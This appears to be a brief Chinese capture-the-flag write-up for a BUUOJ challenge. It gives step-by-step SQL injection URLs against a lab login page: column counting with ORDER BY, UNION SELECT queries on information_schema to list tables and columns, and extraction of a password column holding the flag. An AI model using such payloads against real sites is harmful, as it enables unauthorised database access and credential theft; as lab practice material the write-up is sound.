常规字符型注入
判断字段数
http://fbdc95eb-ecc2-43db-b612-228539b6a9ad.node3.buuoj.cn/check.php?username=admin%27order by 3%23&password=admin
查询表
http://fbdc95eb-ecc2-43db-b612-228539b6a9ad.node3.buuoj.cn/check.php?username=admin&password=admin‘%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23
查询字段
http://fbdc95eb-ecc2-43db-b612-228539b6a9ad.node3.buuoj.cn/check.php?username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23
查询数据，直接查询password字段便可以获得flag
http://fbdc95eb-ecc2-43db-b612-228539b6a9ad.node3.buuoj.cn/check.php?username=admin&password=admin‘%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23
原文：https://www.cnblogs.com/gtx690/p/13211973.html